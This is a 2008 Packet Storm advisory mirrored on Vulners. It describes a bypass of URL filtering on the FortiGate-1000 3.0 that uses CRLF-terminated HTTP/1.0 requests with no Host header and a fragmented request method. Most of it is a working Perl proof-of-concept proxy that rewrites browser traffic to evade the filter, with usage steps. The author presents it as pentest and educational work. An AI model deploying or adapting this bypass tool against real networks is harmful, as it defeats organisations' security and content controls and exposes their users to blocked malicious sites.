Lucene search
K

urlevasion.txt

🗓️ 05 Jan 2008 00:00:00Reported by DanuxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Security document about Fortinet's URL filtering bypass vulnerability in fortiGate-1000 3.0

Code
`I dont know if its new but i code it during a PentTest and i would  
like to share it with you.  
It is based on code developed By sinhack research labs:  
http://sinhack.net/URLFilteringEvasion/sakeru.tx  
  
Description:  
"Fortinet's URL blocking functionality can be bypassed by  
specially-crafted HTTP requests that fulfill 3 factors:  
  
1.- HTTP Requests are terminated by the CRLF characters.  
2.- Forcing to talk via HTTP/1.0 version so that dont send the host header.  
3.- Finally, by Fragmenting the GET or POST requests  
  
Analysis:  
  
Fortinet's past vulnerability  
(http://www.fortiguardcenter.com/advisory/FGA-2006-10.html) said:  
  
Moreover, while it is possible "to bypass the functionality via an  
HTTP/1.0 request with no host header", the use of a host field is  
actually required to access a specific site on multi-homed web sites.  
When no host header is used, the intended web site is actually not  
displayed. Therefore, there is no risk.  
  
Macula's Analysis: If you dont have properly installed some AV, HIPS,  
etc, through this vuln, a workstation can connect to a malicious  
"Hacking Site" and get infected. Also through this vuln, you can  
connect to different porn sites without problems. And no matter if its  
or not multi-homed web sites. So we consider its not a low risk.  
  
  
Products affected:  
We only tested it on:  
fortiGate-1000 3.00, build 040075,070111  
  
Solution:  
We tried to contact the vendor, but without any response.  
  
PoC:  
  
#!/usr/bin/perl  
  
########################################  
# fortiGuard.pl v0.1 - http://www.macula-group.com/  
#  
# # URL Filtering Bypass proof of concept  
# Author: Daniel Regalado aka Danux... Hacker WannaBe!!! (only some  
minnor modifications from sinhack code)  
# Based on PoC from sinhack research labs -> sakeru.pl  
#  
#FortiGuard's URL blocking functionality can be bypassed by  
specially-crafted HTTP requests that are terminated by the CRLF  
character  
#instead of the LF characters and changing version of HTTP to 1.0  
without sending Host: Header and Fragmenting the GET and POST Requests  
#  
#Tested On: fortiGate-1000 3.00, build 040075,070111  
#  
#This code has been released Only for educational purposes. The author  
cannot be held responsible for any bad use.  
# Usage:  
# 1) perl fortiGuard.pl  
# 2) Configure your browser's proxy at localhost:5050  
# 3) Have fun.  
  
# --- Start Of Script---  
  
use strict;  
use URI;  
use IO::Socket;  
  
my $showOpenedSockets=1; #Activate the console logging  
my $debugging=0;  
  
  
my $server = IO::Socket::INET->new ( #Proxy Configuration  
LocalPort => 5050, #Change the listening port here  
Type => SOCK_STREAM,  
Reuse => 1,  
Listen => 10);  
  
binmode $server;  
print "Waiting for connections on port 5050 TCP...\n";  
  
while (my $browser = $server->accept()) { #When a connection occure...  
binmode $browser;  
my $method="";  
my $content_length = 0;  
my $content = 0;  
my $accu_content_length = 0;  
my $host;  
my $hostAddr;  
my $httpVer;  
my $line;  
  
while (my $browser_line = <$browser>) { #Get the Browser commands  
unless ($method) {  
($method, $hostAddr, $httpVer) = $browser_line =~ /^(\w+)  
+(\S+) +(\S+)/;  
  
my $uri = URI->new($hostAddr);  
  
$host = IO::Socket::INET->new ( #Opening the connexion to the  
remote host  
PeerAddr=> $uri->host,  
PeerPort=> $uri->port ) or die "couldn't open $hostAddr";  
  
  
if ($showOpenedSockets) { #Connection logs  
#print "Source:".$browser->peerhost."\n";  
my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =  
localtime(time);  
$year += 1900;  
$mon += 1;  
printf ("\n%04d-%02d-%02d %02d:%02d:%02d  
",$year,$mon,$mday,$hour,$min,$sec);  
print $browser->peerhost." -> ".$uri->host.":".$uri->port."  
$method ".$uri->path_query."\n";;  
}  
  
binmode $host;  
my $char;  
if ($method == "GET") { #Fragmention the "GET" query  
foreach $char ('G','E','T',' ') { #I know, there is better  
way to do it,  
print $host $char; #but I'm tired and lazy...  
}  
} elsif ($method == "POST") { #Fragmentation of "POST" query  
foreach $char ('P','O','S','T',' ') {  
print $host $char;  
}  
} else {  
print $host "$method "; #For all the other methods, send  
them without modif  
print "*";  
}  
$httpVer="HTTP/1.0"; #Forzando a version 1.0  
print $host $uri->path_query . " $httpVer\r\n"; #Send the rest  
of the query (url and http version)  
#next;  
}  
  
$content_length = $1 if $browser_line=~/Content-length: +(\d+)/i;  
$accu_content_length+=length $browser_line;  
  
foreach $line (split('\n', $browser_line)) { #Fragment the Host query  
if ($line =~ /^Host:/ ) {  
#my $char="";  
#my $word="";  
#my $bogus="";  
#($bogus,$word) = split(' ', $line);  
#foreach $char ('H','o','s','t',':',' ') {  
#print $host $char;  
#}  
#print $host $word."\r\n";  
  
} else {  
print $host "$line\r\n"; #For all the other lines, send  
them without modif  
}  
  
if ( $debugging == 1 && $method == "POST" ) {  
print "$line\n";  
}  
}  
#Danux Clave para terminar el Request y enviarlo al servidor  
web, de otra forma se queda esperando este ultimo la peticion  
print $host "\r\n";  
  
  
last if $browser_line =~ /^\s*$/ and $method ne 'POST';  
if ($browser_line =~ /^\s*$/ and $method eq "POST") {  
$content = 1;  
last unless $content_length;  
next;  
}  
#print length $browser_line . " - ";  
if ($content) {  
$accu_content_length+=length $browser_line;  
last if $accu_content_length >= $content_length;  
}  
}  
  
$content_length = 0;  
$content = 0;  
$accu_content_length = 0;  
  
my $crcount=0;  
my $totalcounter=0;  
my $packetcount=0;  
  
while ( my $host_line = <$host> ) { #Reception of the result from the server  
  
$totalcounter+=length $host_line;  
print $browser $host_line; #Send them back to the browser  
#print $host_line if ( ! $content ); #Send them back to the browser  
if ($host_line=~/Content-length: +(\d+)/i) {  
$content_length = $1;  
#print " * Expecting $content_length\n"; #if ($debugging);  
}  
if ($host_line =~ m/^\s*$/ and not $content) {  
$content = 1;  
#print " * Beginning of the data section\n";  
}  
if ($content) {  
#$accu_content_length+=length $host_line;  
if ($content_length) {  
#print " * binary data section\n";  
my $buffer;  
my $buffersize = 512;  
if ($content_length < $buffersize) { $buffersize = $content_length; }  
while ( my $nbread = read($host, $buffer, $buffersize)) {  
print "#";  
$packetcount++;  
$accu_content_length+=$nbread;  
#last if $accu_content_length >= $content_length;  
print $browser $buffer; #Send them back to the browser  
#print $buffer;  
#print "\n(#$packetcount) ";  
#print "total: $totalcounter content_length:  
$content_length acc: $accu_content_length\t";  
my $tmp1 = $content_length - $accu_content_length;  
#print "length-accu= $tmp1\n";  
  
if ($tmp1 < $buffersize) {  
$buffersize = $tmp1;  
#print "new buffersize = $buffersize\n";  
}  
}  
#print "Out of the content while\n";  
}  
}  
  
#print "(#$packetcount) ";  
#print "total: $totalcounter content_length: $content_length  
acc: $accu_content_length\t";  
#my $tmp1 = $content_length - $accu_content_length;  
#print "length-accu= $tmp1\n";  
last if ($accu_content_length >= $content_length and $content ==  
1 and $content_length);  
}  
#print "\nOut for a while\n";  
  
  
if ($browser) { $browser -> close; } #Closing connection to the browser  
if ($host) { $host -> close; } #Closion connection to the server  
  
}  
  
# --- EOF ---  
  
  
--   
Danux, CISSP, OSCP  
Offensive Security Consultant  
Macula Security Consulting Group  
www.macula-group.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation